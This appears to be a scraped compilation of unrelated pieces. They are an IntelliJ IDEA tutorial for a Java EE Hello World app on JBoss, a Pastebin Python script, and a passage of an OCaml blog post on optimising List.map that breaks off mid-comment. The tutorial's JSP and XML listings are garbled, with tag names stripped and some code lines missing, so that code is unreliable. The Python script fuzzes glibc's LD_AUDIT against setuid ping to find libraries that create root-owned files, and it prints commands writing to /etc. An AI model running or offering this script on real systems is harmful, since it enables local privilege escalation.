Plugins are extensions to IntelliJ IDEA core functionality. To be able to
perform the tasks discussed in this tutorial, the following plugins have to be
enabled:

  * Java EE Integration. This plugin provides support for Java EE application development. 

  * JBoss Integration. This plugin lets the IDE interact with JBoss. \(If you want to use a different Java EE application server, the corresponding server-specific plugin should be enabled.\) 

To make sure that these plugins are enabled:

**1.** Open the **Settings** dialog \(e.g. by pressing CTRL+ALT+S\).

**2.** In the left-hand pane of the dialog, under **IDE Settings** , select
**Plugins** \(1 on the following picture\).

**3.** On the **Plugins** page that opens in the right-hand part of the
dialog, type `java ee` in the search box \(2\). As a result, only the Java EE
Integration plugin is shown in the list.

Make sure that the check box next to **Java EE Integration** is selected
\(3\).

<img src='img/Temp2_2153.png' alt='File:I12EJBPluginsJavaEE.png' />

**4.** Find the JBoss Integration plugin and make sure that this plugin is
also enabled \(1, 2\).

<img src='img/Temp2_2167.png' alt='File:I12EJBPluginsJBoss.png' />

**5.** Click **OK**.

**6.** If suggested, restart IntelliJ IDEA.

##  Defining a JDK in IntelliJ IDEA

If the JDK that you are going to use is already defined in IntelliJ IDEA, skip
this section and proceed to defining JBoss in the IDE. Otherwise:

**1.** Open the **Project Structure** dialog \(e.g. by pressing
CTRL+ALT+SHIFT+S\).

**2.** In the leftmost pane, under **Platform Settings** , select **SDKs**
\(1\).

**3.** Above the pane to the right, click \(2\) and select **JDK** \(3\).

<img src='img/Temp2_2159.png' alt='File:I12AddJDK.png' />

**4.** In the **Select Home Directory for JDK** dialog that opens, select the
folder in which you have the necessary JDK version installed \(1\) and click
**OK** \(2\).

<img src='img/Temp2_2180.png' alt='File:I12JDKHome.png' />

**5.** Click **OK** in the **Project Structure** dialog.

<img src='img/Temp2_2187.png' alt='File:I12JDKDefined.png' />

##  Defining JBoss in IntelliJ IDEA

To define JBoss in IntelliJ IDEA, use the following procedure. In a similar
way, you can define any other application server.

**1.** Open the **Settings** dialog \(CTRL+ALT+S\).

**2.** In the left-hand part of the dialog, under **IDE Settings** , select
**Application Servers** \(1\).

**3.** In the right-hand part of the dialog, under **Application Servers** ,
click \(2\) and select **JBoss Server** \(3\).

<img src='img/Temp2_2161.png' alt='File:I12AddAppServerDefinition.png' />

**4.** In the **JBoss Server** dialog, click to the right of the **JBoss
Home** field.

<img src='img/Temp2_2186.png' alt='File:I12JBossServerDialogInitial.png' />

**5.** In the **JBoss Home Directory** dialog, specify the directory where
JBoss is installed \(1\), and click **OK** \(2\).

<img src='img/Temp2_2174.png' alt='File:I12JBossHomeDirDialog.png' />

**6.** Click **OK** in the **JBoss Server** dialog.

<img src='img/Temp2_2172.png' alt='File:I12JBossServerDialogDefined.png' />

IntelliJ IDEA registers the `.jar` files necessary for working with JBoss. You
can see their list under **Libraries**. \(An application server library that
contains the corresponding files is created.\)

**7.** Click **OK** in the **Settings** dialog.

<img src='img/Temp2_2179.png' alt='File:I12SettingsJBossServerDefined.png' />

The IDE is ready. Let's now discuss the application that we are going to
develop.

#  The Hello World Java EE application

The business logic of the application will be implemented by an enterprise
bean HelloWorldBean. The only function of the bean will be to generate the
text _Hello, World\!_

To access the bean, the application will provide a web interface. This
interface will be implemented by two JSP pages and a servlet.

The first of the pages \(index.jsp\) will include a form with the _Say Hello_
button. Clicking this button will activate the servlet HelloWorldServlet. The
servlet will call the appropriate bean method, store the result \(the text
_Hello, World\!_\) as a request attribute and pass the control of the
application to the second of the JSP pages \(hello.jsp\). The page will
retrieve the value of the appropriate request attribute and display it.

The following sections show the contents of all the application source files
as well as corresponding application deployment descriptors.

###  HelloWorldBean.java

[code]

    package mybeans;
    
    import javax.ejb.Stateless;
    
    @Stateless(name = "HelloWorldEJB")
    public class HelloWorldBean {
        public HelloWorldBean() {
        }
        public String sayHello() {
            return "Hello, World!";
        }
    }
    
[/code]

###  index.jsp

[code]

    <%@  contentType="text/html;charset=UTF-8" language="" %>
    <>
    <>
        <title></title>
    </>
    <>
    < method="get" action="helloworld">
        <input type="submit" value="Say Hello"/>
    </>
    </>
    </>
    
[/code]

###  HelloWorldServlet.java

[code]

    package myservlets;
    
    import mybeans.HelloWorldBean;
    
    import javax.ejb.EJB;
    import java.io.IOException;
    
    @javax.servlet.annotation.WebServlet(name = "HelloWorldServlet", urlPatterns = "/helloworld")
    public class HelloWorldServlet extends javax.servlet.http.HttpServlet {
        @EJB
        private HelloWorldBean helloWorldBean;
        protected void doPost(javax.servlet.http.HttpServletRequest request,
                              javax.servlet.http.HttpServletResponse response)
                throws javax.servlet.ServletException, IOException {
    
        }
        @Override
        protected void doGet(javax.servlet.http.HttpServletRequest request,
                             javax.servlet.http.HttpServletResponse response)
                throws javax.servlet.ServletException, IOException {
            String hello=helloWorldBean.sayHello();
            request.setAttribute("hello",hello);
            request.getRequestDispatcher("hello.jsp").forward(request,response);
        }
    }
    
[/code]

###  hello.jsp

[code]

     <%@  contentType="text/html;charset=UTF-8" language="" %>
    <>
    <>
        <title></title>
    </>
    <>
        <>requestScope.hello</>
    </>
    </>
    
[/code]

###  application.xml

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <application xmlns="http://java.sun.com/xml/ns/javaee"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/application_6.xsd"
                 version=>
    
        <module "ejb-EJB">
            <>ejb.jar</>
        </module>
        <module "web-Web">
            <>
                <web-uri>web.war</web-uri>
                <context-root>webWeb</context-root>
            </>
        </module>
    </application>
    
[/code]

###  ejb-jar.xml

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <ejb-jar xmlns="http://java.sun.com/xml/ns/javaee"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
    		  http://java.sun.com/xml/ns/javaee/ejb-jar_3_1.xsd"
             version="3.1">
        <enterprise-beans>
            <session>
                <ejb-name>HelloWorldEJB</ejb-name>
                <ejb-class>mybeans.HelloWorldBean</ejb-class>
                <session-type>Stateless</session-type>
                <transaction-type>Container</transaction-type>
            </session>
        </enterprise-beans>
    </ejb-jar>
    
[/code]

#  Preparing a project

Now that we know what application we are going to develop, let us create a
project suitable for the purpose.

##  Intended project structure

The project that we will create will include three Java modules \(in IntelliJ
IDEA terminology\). In each of the modules, different additional features will
be enabled - depending on the purpose of a particular module. \(Those
additional features in IntelliJ IDEA are often referred to as facets.\)

  * _ejb_. This module will be used to develop the bean. So, when creating this module, we will enable the EJB 3.1 development support. As a result, IntelliJ IDEA will download the necessary implementation JAR files and organize those files in a library. In addition to that, the IDE will create the deployment descriptor `ejb-jar.xml` and a specification of an EJB JAR artifact. 

  * _web_. This module will be used to develop the web interface \(the JSPs and the servlet\). So, when creating this module, we will enable web application development support. As a result, IntelliJ IDEA will create the starting page of the application and a WAR artifact specification. 

  * _ear_. This module will be used for generating the overall application EAR artifact. When creating this module we will enable the Java EE 6 application development support and also specify that JBoss is going to be used. As a result, IntelliJ IDEA will create the Java EE application deployment descriptor `application.xml`, an EAR artifact specification, and also a run configuration for running the artifact in the context of JBoss. 

Note that this project structure seems optimal not only for developing the
Hello World application. This or similar structure may also be used to develop
more complex Java EE applications when EJB and web application modules \(in
Java EE terminology\) should be combined in an enterprise archive.

##  Project creation scenario

When preparing a project for our application development we will:

**1.** Create an empty project.

**2.** Define the project SDK \(JDK\).

**3.** Add the necessary modules to the project \(ejb, web and ear\).

##  Creating an empty project

To create a project that doesn't contain any modules:

**1.** If no project is currently open in IntelliJ IDEA, click **Create New
Project** on the Welcome screen. Otherwise, select **New Project** from the
**File** menu.

As a result, the **New Project** wizard opens.

**2.** In the left-hand pane, under **Other** , select **Empty Module** \(1\).

**3.** In the right-hand part of the page, in the **Project name** field, type
the name of your new project \(e.g. `JavaEEHelloWorld`\) \(2\).

**4.** Click **Finish** \(3\).

<img src='img/Temp2_2184.png' alt='File:I12EJBNewEmptyProject.png' />

When the project is created, the **Project Structure** dialog opens. Let's
start our work with the project by defining the project JDK.

##  Defining the project JDK

To define the project JDK:

**1.** In the **Project Structure** dialog, under **Project Settings** ,
select **Project** \(1\).

**2.** Select the necessary JDK from the list under **Project SDK** \(2\) and
click **Apply** \(3\).

<img src='img/Temp2_2175.png' alt='File:I12EJBSpecifyProjectSDK.png' />

##  Adding the module ejb

**1.** In the **Project Structure** dialog, under **Project Settings** ,
select **Modules** \(1\).

**2.** Click \(2\) and select **New Module** \(3\).

<img src='img/Temp2_2185.png' alt='File:I12EJBAddModule.png' />

**3.** In the **New Module** wizard that opens, select **Java Module** \(1\).

**4.** In the **Module name** field, type the name of the module \(\) \(2\).

<img src='img/Temp2_2183.png' alt='File:I12EJBNewModuleEJB.png' />

**5.** Click **Next**.

**6.** On the next page of the wizard, select the **Enterprise JavaBeans**
check box. Make sure that the associated EJB settings are as shown on the
following picture.

<img src='img/Temp2_2169.png' alt='File:I12EJBEnableEJB.png' />

**7.** Click **Finish**.

**8.** In the **Project Structure** dialog, click **Apply**.

##  Adding the module web

**1.** In the **Project Structure** dialog, click and select **New Module**.

**2.** On the first page of the **New Module** wizard that opens, make sure
that **Java Module** is selected, specify the module name \(\), and click
**Next**.

**3.** On the next page of the wizard, select the **Web Application** check
box \(1\) and then select **3.0** from the **Version** list \(2\). \(This is
the version of the servlet specification to be supported.\)

<img src='img/Temp2_2158.png' alt='File:I12EJBWebModule.png' />

**4.** Click **Finish**.

**5.** In the **Project Structure** dialog, click **Apply**.

##  Adding the module ear

**1.** In the **Project Structure** dialog, click and select **New Module**.

**2.** On the first page of the **New Module** wizard, specify the module name
\(\) \(1\).

**3.** Under **More Settings** , clear the **Create source root** check box
\(2\). \(We are not going to use this module for developing source code.\)

**4.** Click **Next** \(3\).

<img src='img/Temp2_2177.png' alt='File:I12EJBEarModule.png' />

**5.** On the next page of the wizard, select the **JavaEE Application** check
box. Make sure that **6** is selected in the **Version** list.

<img src='img/Temp2_2194.png' alt='File:I12EJBJavaEEApp.png' />

**6.** Select the **Application Server** check box. Make sure that the version
of JBoss you are going to use in your project is selected in the **Application
Server** field.

<img src='img/Temp2_2164.png' alt='File:I12EJBAppServer.png' />

**7.** Clear the **Web Application** check box. \(This check box was selected
automatically when you selected **Application Server**. Because we already
have a separate module for developing the web interface, we don't need web
application development support in the module that we are creating.\)

<img src='img/Temp2_2176.png' alt='File:I12EJBDeselectWebApp.png' />

**8.** Click **Finish** to complete the wizard.

**9.** In the **Project Structure** dialog, click **OK**.

##  Exploring the project structure

In the **Project** tool window, the structure of your project looks similar to
this:

<img src='img/Temp2_2157.png' alt='File:I12EJBInitialProjectStructure.png' />

The first three top-level nodes \(_ear_ , _ejb_ and _web_\) are the module
folders; the files are used to store configuration data for the modules.
_External Libraries_ represent the "external resources" necessary for your
development work. Currently in this category are your JDK and the JBoss
application server library.

The module folders currently contain:

  * contains a directory `META-INF` with the Java EE application deployment descriptor `application.xml` inside. 

  * contains the following folders and files: 
    * is a folder with library files for EJB and servlet development. \(These were downloaded by IntelliJ IDEA when creating the module.\) 
    * `META-INF` contains the EJB deployment descriptor `ejb-jar.xml`. 
    * is a folder for your EJB source files. 

  * contains the following folders and files: 
    * is intended for your web interface's Java classes \(e.g. servlet classes\). 
    * is for web resources \(web pages, images, stylesheets, etc.\). Currently in this folder is the file `index.jsp` intended as a starting page of your application. 

#  Developing the application source code

Now that the project is ready, let's start to develop the application source
code.

##  Creating the bean

To create the bean source file and a package for it:

**1.** In the **Project** tool window, within the module , select the folder
\(1\), press ALT+INSERT and select **Stateless Session Bean** \(2\).

<img src='img/Temp2_2195.png' alt='File:I12EJBNewStatelessBean.png' />

**2.** In the **New Stateless Session Bean** dialog that opens, in the **<
ejb-name>** field, replace `Session` with `HelloWorld` \(3\).

**3.** In the **Package** field, specify the name of the package to be created
\(e.g. `mybeans`\) \(2\).

**4.** Click **OK** \(3\).

<img src='img/Temp2_2173.png' alt='File:I12EJBNewStatelessBeanDialogFinal.png'
/>

**5.** Open the bean source file in the editor. \(The quickest way to do that
is by using the **EJB** tool window which is currently active: 1\) Press ENTER
to expand the current node _HelloWorldEJB \(mybeans\)_. 2\) Press the DOWN
ARROW to select _HelloWorldBean_. 3\) Press F4 to open the file.\)

##  Adding code to HelloWorldBean.java

The code in its final state should look similar to this:

[code]

    package mybeans;
    
    import javax.ejb.Stateless;
    
    @Stateless(name = "HelloWorldEJB")
    public class HelloWorldBean {
        public HelloWorldBean() {
        }
        public String sayHello() {
            return "Hello, World!";
        
    }
    
[/code]

IntelliJ IDEA has already provided some code for the bean. Add the fragment
shown above on yellow background.

##  Creating the servlet

**1.** In the **Project** tool window, within the module , select the folder
\(1\), press ALT+INSERT and select **Servlet** \(2\).

<img src='img/Temp2_2188.png' alt='File:I12EJBNewServlet.png' />

**2.** In the **New Servlet** dialog that opens, in the **Name** field,
specify the servlet name \(e.g. `HelloWorldServlet`\) \(1\).

**3.** In the **Package** field, specify the name of the package to be created
\(e.g. `myservlets`\) \(2\).

**4.** Click **OK** \(3\).

<img src='img/Temp2_2160.png' alt='File:I12EJBNewServletDialogFinal.png' />

##  Adding code to HelloWorldServlet.java

The servlet code in its final state should be as follows. The fragments to be
added are on yellow background. Note that the necessary `import` statements
may be added by IntelliJ IDEA automatically if you use the corresponding quick
fixes as suggested later in this section.

[code]

    package myservlets;
    
    import mybeans.HelloWorldBean;
    
    import javax.ejb.EJB;
    import java.io.IOException;
    
    @javax.servlet.annotation.WebServlet(name = "HelloWorldServlet", urlPatterns = "/helloworld")
    public class HelloWorldServlet extends javax.servlet.http.HttpServlet {
        
        private HelloWorldBean helloWorldBean;
        protected void doPost(javax.servlet.http.HttpServletRequest request,
                              javax.servlet.http.HttpServletResponse response)
                throws javax.servlet.ServletException, IOException {
    
        }
        @Override
        protected void doGet(javax.servlet.http.HttpServletRequest request,
                             javax.servlet.http.HttpServletResponse response)
                throws javax.servlet.ServletException, IOException {
            String hello=helloWorldBean.sayHello();
            request.setAttribute("hello",hello);
            request.getRequestDispatcher("hello.jsp").forward(request,response);
        }
    }
    
[/code]

Initially, certain code fragments in the editor are shown red. The problem is
removed by adding the library _Java EE 6-3.1_ \(corresponding to the folder in
the module _ejb_\) to dependencies of the module _web_. This may be done by
using the quick fix provided by IntelliJ IDEA:

**1.** Place the cursor within `WebServlet` and press ALT+ENTER to see the
list of suggested quick fixes \(1\).

**2.** Select **Add library 'Java EE 6-3.1' to classpath** from the list
\(2\).

<img src='img/Temp2_2181.png' alt='File:I12EJBQuickFixForWebServlet.png' />

**3.** After adding

[code]

    @EJB
    private HelloWorldBean helloWorldBean;
    
[/code]

use the IntelliJ IDEA quick fix for `HelloWorldBean` as shown on the following
picture \(1, 2\).

<img src='img/Temp2_2182.png'
alt='File:I12EJBServletQuickFixesForHelloWorldBean.png' />

##  Adding code to index.jsp

The content of `index.jsp` in its final state should be similar to this:

[code]

    <%@  contentType="text/html;charset=UTF-8" language="" %>
    <>
    <>
        <title></title>
    </>
    <>
    < method="get" action="helloworld">
        <input type="submit" value="Say Hello"/>
    </>
    </>
    </>
    
[/code]

**1.** You don't need to create the file `index.jsp` because IntelliJ IDEA has
already done that for you. So open this file in the editor. \(For example,
select the file in the **Project** tool window and press F4.\)

**2.** Add the missing elements \(shown on yellow background above\).

##  Creating hello.jsp

**1.** In the module , select the folder \(1\) and press ALT+INSERT.

**2.** Select **JavaEE Web Page** \(2\).

<img src='img/Temp2_2178.png' alt='File:I12EJBNewJavaEEWebPage.png' />

**3.** In the **Create JavaEE Web Page** dialog that opens, specify the page
name \(`hello`\) \(1\) and click **OK** \(2\).

<img src='img/Temp2_2165.png' alt='File:I12EJBCreateJavaEEWebPageDialog.png'
/>

##  Adding code to hello.jsp

The content of the page in its final state should be as follows.

[code]

    <%@  contentType="text/html;charset=UTF-8" language="" %>
    <>
    <>
        <title></title>
    </>
    <>
        <>requestScope.hello</>
    </>
    </>
    
[/code]

All you have to do, obviously, is to add `<>requestScope.hello</>` within the
`<>` element.

#  Configuring the application artifact and fixing application.xml

Now we are going to configure the intended project output or, in IntelliJ IDEA
terms, the application artifact. At the same time, we will use IntelliJ IDEA
quick fixes to add the necessary definitions to the deployment descriptor
`application.xml`.

**1.** To start with, open `application.xml` in the editor to see that it's
nearly empty.

<img src='img/Temp2_2193.png' alt='File:I12EJBApplicationXMLInitial.png' />

**2.** Open the **Project Structure** dialog \(e.g. CTRL+ALT+SHIFT+S\) and
select **Artifacts**.

<img src='img/Temp2_2191.png' alt='File:I12EJBArtifactsInitial.png' />

Note that there are already three artifact specifications in the project.
These were created by IntelliJ IDEA when creating the corresponding modules.
\(The part preceding a colon in the artifact names correspond to the names of
the modules\).

Also note the pink error bar in the lower part of the dialog. IntelliJ IDEA
informs us of a problem with the _web_ artifact. What the IDE is telling us is
really true, however, we are not going to build and use this artifact
separately. So the error may well be ignored.

**3.** Click **Ignore error** .

<img src='img/Temp2_2192.png' width='824' height='43'
alt='File:I12EJBIgnoreError.png' />

Now we are going to add missing parts to the _ear_ artifact. \(Select this
artifact if it's not yet selected.\)

**4.** Select the **Show content of elements** check box to see a more
detailed picture of the artifact.

<img src='img/Temp2_2168.png' alt='File:I12EJBEarDeatailed.png' />

Now you can see that the artifact configuration includes only the folder
`META-INF` with the deployment descriptor `application.xml`.

To complete the _ear_ artifact we will simply add the other two artifacts.
\(The way we organized the modules in our project, among other things, made
the structures of the auto-generated artifact specifications very logical.\)

**5.** Under **Available Elements** , expand the **Artifacts** node \(1\),
right-click the _ejb_ artifact \(2\) and select **Put into /ejb.jar** \(3\).

<img src='img/Temp2_2197.png' alt='File:I12EJBPutEJBToEJB.png' />

Note how the structure of the _ear_ artifact changed. Not bad, isn't it?

Also note the warning _'EJB' facet isn't registered in 'application.xml'_.
This means that the EJB module \(in Java EE terms\) is included in the
artifact but it's definition is missing from the application descriptor.

**6.** Click **Fix**.

<img src='img/Temp2_2190.png' alt='File:I12EJBFixApplicationXMLEJB.png' />

**7.** Add the _web_ artifact to the _ear_ artifact \(1, 2\).

<img src='img/Temp2_2166.png' alt='File:I12EJBPutWebInWar.png' />

**8.** Now to fix `application.xml`, click **Fix**. \(When clicking **Fix** ,
you shouldn't be suggested any fix options, and the warning should disappear
at once.\)

<img src='img/Temp2_2189.png' alt='File:I12EJBEarAfterAddingWeb.png' />

**9.** If the warning disappears, click **OK** in the **Project Structure**
dialog and check your application.xml.

Otherwise, if when clicking **Fix** the following set of options is suggested

don't select any of those option. Try using the error bar instead.

**10.** Click **2 errors found** to expand the error bar.

<img src='img/Temp2_2196.png' width='795' height='43'
alt='File:I12EJBExpandArrowBar.png' />

**11.** Within the bar where the problem with `application.xml` is reported,
click the light bulb \(1\) and then click **Fix** \(2\).

<img src='img/Temp2_2170.png' alt='File:I12EJBFixOnErrorBar.png' />

**12.** If the warning doesn't disappear, click **OK** in the **Project
Structure** dialog anyway and check your `application.xml`.

The content of `application.xml` should be as follows. \(If it isn't, make the
necessary edits.\)

[code]

    <?xml version="1.0" encoding="UTF-8"?>
    <application xmlns="http://java.sun.com/xml/ns/javaee"
                 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                 xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/application_6.xsd"
                 version=>
    
        <module "ejb-EJB">
            <>ejb.jar</>
        </module>
        <module "web-Web">
            <>
                <web-uri>web.war</web-uri>
                <context-root>webWeb</context-root>
            </>
        </module>
    </application>
    
[/code]

#  Building and running the application

Now it looks like it's time to build and run the application. As we are about
to see, we don't need to build the application separately. IntelliJ IDEA will
do that for us automatically as part of executing the corresponding run
configuration.

##  Checking run configuration settings

Let's take a quick look at the run configuration that IntelliJ IDEA created
when creating the module _ear_.

**1.** Click the run configuration selector on the toolbar \(1\) and select
**Edit Configurations** \(2\).

<img src='img/Temp2_2156.png' width='284' height='87'
alt='File:I12EJBEditConfigurations.png' />

The **Run/Debug Configurations** dialog opens and the settings for the only
existing run configuration are displayed. Note:

  * The application is going to be run using JBoss \(the **Application server** field\). 

  * A web browser will be started and the page with the URL `http://localhost:8080/webWeb` will be displayed \(the **Start browser** option and the **Startup page** field. If you look at `application.xml` you'll see that the context root of the application is `webWeb`. Consequently, the default page \(`index.jsp`\) associated with this context root will be shown.\) 

  * As part of executing this run configuration, IntelliJ IDEA will compile the project and build the _ear_ artifact \(the **Before launch** options in the lower part of the dialog.\) 

<img src='img/Temp2_2162.png' alt='File:I12EJBRunConfigServer.png' />

**2.** Click the **Deployment** tab.

As you can see, IntelliJ IDEA will deploy the _ear_ artifact each time it
starts \(or restarts\) the server.

<img src='img/Temp2_2163.png' alt='File:I12EJBRunConfigDeployment.png' />

So everything looks fine.

**3.** Click **OK** in the **Run/Debug Configurations** dialog.

##  Running the application

**1.** To run the application \(or, to be more precise, to execute the
corresponding run configuration\), click **Run** to the right of the run
configuration selector on the toolbar.

IntelliJ IDEA compiles the application classes, builds the artifact, starts
JBoss and deploys the artifact onto the server. You can monitor the process in
the **Run** tool window which opens in the lower part of IntelliJ IDEA
workspace.

<img src='img/Temp2_2154.png' alt='File:I12EJBRunToolWindow.png' />

Then, your default web browser starts, and the starting page of your
application is displayed.

**2.** Click the **Say Hello** button on this page.

<img src='img/Temp2_2171.png' alt='File:I12EJBStartingPageInBrowser.png' />

As a result, the _Hello World_ page is shown.

<img src='img/Temp2_2155.png' alt='File:I12EJBHelloWorldInBrowser.png' />

So the application is working fine. At this step, our exercises are completed,
and we hope that now you have an impression of how to develop Java EE
applications in IntelliJ IDEA.

# \[Python\] python variant of Devteev fuzzer - Pastebin.com

**Created:**| _4/21/2011 10:22:03 AM_  
---|---  
**Updated:**| _4/21/2011 10:22:03 AM_  
**Author:**| __  
**Tags:**| _python Fuzzer_  
  

  1. from subprocess import Popen, PIPE
  2. import fnmatch
  3. import os, sys, re
  4.   5. tmpdir = '/tmp/fuzz'
  6. fololo = tmpdir + '/' \+ 'ololo.txt'
  7.   8. sh = lambda cmd: Popen\( cmd, shell=True, stdout=PIPE, stderr=PIPE \).communicate\(\)\[0\]
  9. sh\( 'mkdir ' \+ tmpdir \)
  10.   11. libs = \[\]
  12. for lp in \[ '/lib' \]:
  13. for r, ds, fs in os.walk\( lp \):
  14. for f in fnmatch.filter\( fs, '\*.so' \):
  15. libs.append\( os.path.join\( r, f \) \)
  16.   17. print '\[i\] found %s libs...' % len\( libs \)
  18. print '\[i\] testing...'
  19.   20. vuln = \[\]
  21. for l in libs:
  22. args = sh\( 'strings %s' % l \).split\(\)
  23. for a in filter\( lambda x: re.match\( '^\[A-Z\\\_0-9\]+$', x \), args \):
  24. sh\( 'LD\_AUDIT="%s" %s=%s ping&>/dev/null' % \( l, a, fololo \) \)
  25. if os.path.exists\( fololo \):
  26. sh\( 'rm ' \+ fololo \)
  27. vuln.append\( \( l, a \) \)
  28. sys.stdout.write\( '\*' \)
  29. sys.stdout.write\( '.' \)
  30. sys.stdout.flush\(\)
  31.   32. print '\n\[i\] done\!'
  33.   34. print vuln and 'try this commands:' or 'not vuln ;\)'
  35. for l, a in vuln:
  36. print 'LD\_AUDIT="%s" %s=/etc/evil\_file\_to\_create ping&>/dev/null' % \( l, a \)

# Optimizing List.map | ocaml.janestreet.com
**Created:**| _5/25/2011 3:31:36 PM_  
---|---  
**Updated:**| _5/25/2011 3:31:45 PM_  
**Author:**| __  
**Tags:**| _programming OCaml_  
  

# Optimizing List.map

Sat, 2009/10/10 - 8:01am — yminsky

With the latest release of Core, I've had occasion to think about how our
libraries differ from INRIA's. One difference that's been there from the very
beginning is in the `List` module: INRIA's list functions are not tail-
recursive, and ours are.

The obvious reason to prefer tail-recursive solutions is that they are able to
handle lists of arbitrary length, but they have a downside as well. INRIA's
list implementation is not tail recursive largely because of performance, as
described by Xavier here. All that heap allocation you get by mapping and then
reversing the list really costs.

The key tradeoff that Xavier points to is the choice between running fast on
small-to-medium lists, and running at all on long lists. A few different
people have opined that lists don't make sense for large datasets anyway,
which argues in favor of the choice made in the standard library of using the
tail-recursive version. But I've never bought this argument. It's hard to
predict what your code is going to be used for, and you don't want to have
landmines where your code simply blows up \(rather than degrading gracefully
in performance\) when run on an unexpectedly large dataset. Using a non-tail-
recursive list implementation leads to such brittle behavior.

So, it occurred to me, can we have the best of both worlds? As Xavier points
out, there are "magic" implementation that you can do that use the dreaded
`Obj.magic`, but `Obj.magic` is notoriously difficult to reason about, and is
really the same thing as hacking the compiler. Among other things, it leaves
you with no guarantees when new versions of the compiler are released. ExtLib
takes this approach, but it's never been something we've been comfortable
with.

But what if we write a version that detects when we're dealing with a big
list, and dynamically switches implementations? Here's a simple version.

[code]

    open Core.Std
     
    let rec count_map ~f l ctr =                                                               
      match l with                                                                        
      | [] -> []                                                                          
      | hd :: tl -> f hd ::
          (if ctr < 5000 then count_map ~f tl (ctr + 1)
           else List.map ~f tl)
     
    let map ~f l = count_map ~f l 0
    
[/code]

This works a lot better. It's a little bit slower than the standard `List.map`
for small lists, and about the same as the tail-recursive `List.map` for large
lists. But we can do better still. There are two more optimizations I played
with. The first is to do a little loop unrolling on the recursion, and the
second is to to deal with the large list case going through arrays, as
suggested in a post by Christophe Troestler. Here's the resulting code:

[code]

    open Core.Std
     
    let list_array_map ~f l =
      Array.to_list (Array.map ~f (Array.of_list l))
     
    let rec count_map ~f l ctr =
      match l with
      | [] -> []
      | [x] -> [f x]
      | [x;y] -> [f x; f y]
      | [x;y;z] -> [f x; f y; f z]
      | x :: y :: z :: w :: tl ->
        f x :: f y :: f z :: f w ::
          (if ctr 
    >
     500 then list_array_map ~f tl
           else count_map ~f tl (ctr + 1))
     
    let map ~f l = count_map ~f l 0
    
[/code]

This implementation does better still. It's actually faster than the standard
implementation on short lists, and only a little slower on long lists. Here
are some very rough benchmarks \(done on an x86-64 box\). Here, the mean and
standard deviations are of the ratio of the implementation versus the
implementation in the standard library. "core" is the implementation currently
in `Core`, and "fast" is the above implementation.

[code]

    ## list length 0 ##
    core: mean 1.648838, nstdev 0.043502
    fast: mean 0.717259, nstdev 0.043177
    ## list length 1 ##
    core: mean 2.113085, nstdev 0.075585
    fast: mean 0.596140, nstdev 0.049489
    ## list length 2 ##
    core: mean 1.989603, nstdev 0.044707
    fast: mean 0.636450, nstdev 0.003376
    ## list length 5 ##
    core: mean 2.003528, nstdev 0.043638
    fast: mean 0.821950, nstdev 0.024802
    ## list length 10 ##
    core: mean 1.428904, nstdev 0.016536
    fast: mean 0.729491, nstdev 0.018766
    ## list length 20 ##
    core: mean 1.443628, nstdev 0.062703
    fast: mean 0.743741, nstdev 0.018308
    ## list length 100 ##
    core: mean 1.301089, nstdev 0.019097
    fast: mean 0.898968, nstdev 0.017839
    ## list length 1000 ##
    core: mean 1.719725, nstdev 0.025758
    fast: mean 0.950799, nstdev 0.018624
    ## list length 25000 ##
    core: mean 1.721275, nstdev 0.044541
    fast: mean 1.188690, nstdev 0.031437
    
    
[/code]

The performance improvement seems worth the ugly code given how common map is.
I suspect some hack like this will make it's way to a future version of Core.

  * yminsky's blog
  * Login or register to post comments

## Comments

Sat, 2009/10/10 - 8:48am — ja

#### Error in first snippet?

The first count\_map never applies `f` to `hd`.

  * Login or register to post comments

Sat, 2009/10/10 - 8:56am — yminsky

#### Good catch

It's fixed.

  * Login or register to post comments

Sat, 2009/10/10 - 8:50am — morrisett

#### tail allocation

Probably the right thing to do is hack Ocaml to do tail-allocation. We did
this in TIL precisely for this reason -- you get a fast, tail-recursive map.
The only downside is coordination with the garbage collector, since you end up
needing write-barriers. \(But maybe this is what ExtLib does using magic?\)

  * Login or register to post comments

Sat, 2009/10/10 - 8:58am — yminsky

#### tail allocation

This is exactly what ExtLib does. I don't like playing around with `Obj.magic`
unnecessarily, though, which is why we didn't go that way. Also, there's a
runtime cost to the write-barrier, which makes me suspect that my solution
above is faster than ExtLib's. What I really should do is add the ExtLib
implementation to this benchmark and see how well it performs.

  * Login or register to post comments

Thu, 2009/10/15 - 1:13am — roy\_hu

#### F\# implements map similarly

F\# implements map similarly under the hood, and I think the F\# guys got it
right.

  * Login or register to post comments

Sat, 2009/10/10 - 2:41pm — bluestorm

#### Compromise

There is a compromise between the "no tail-recursion" implementation and the
List.rev/Array.of\_list workaround. You can process the result by "chunks" :
partition the list into sublists of length K, recursively, compute "map" on
them them accumulate the results. If K is small enough, you can use the fast
non-tailrec method to map each sublist, and the call depth of your function is
divided by K \(compared to the non-tailrec map wich process elements one by
one\) so with a K large enough you avoid overflow on large lists.

[code]

    let chunk_size = 5000
     
    let rec chunk_map f l =
      (* first drop the first chunk_size elements,
         and recursively map on the tail *)
      let rec jump_ahead n = function
      | [] -> (n, [])
      | li when n = chunk_size -> (n, chunk_map f li)
      | _ :: tl -> jump_ahead (n + 1) tl in
      let (prefix_len, tail_map) = jump_ahead 0 l in
      (* then map on the first chunk_size elements,
         using the precalculated tail-map *)
      let rec map_prefix n li =
        if n = 0 then tail_map
        else match li with
          | hd :: tl -> f hd :: map_prefix (n - 1) tl
          | [] -> assert false in
      map_prefix prefix_len l
    
[/code]

You can also add your "standard behaviour on small list" trick if necessary :

[code]

    let rec count_map f l ctr =
      match l with
      | [] -> []
      | x :: tl ->
          f x :: (if ctr 
    >
     chunk_size
                  then chunk_map f tl
                  else count_map f tl (ctr + 1))
     
    let map_2 f l = count_map f l 0
    
[/code]

\(I used chunk\_size for the "count\_map" limit but it could be an independent
parameter\)

The maximum call stack depth of chunk\_map on a list of size N \(and K =
chunk\_size\) is K + N / K. With K = 5000, it effectively protects from
overflow on systems with a reasonable call stack limit. The "count\_map" trick
adds another K to the call depth, and may not be worth it.

According to my measurements, this method \(wich I originally developped on
fold\_right for thelema on \#ocaml\) is faster than both List.rev or
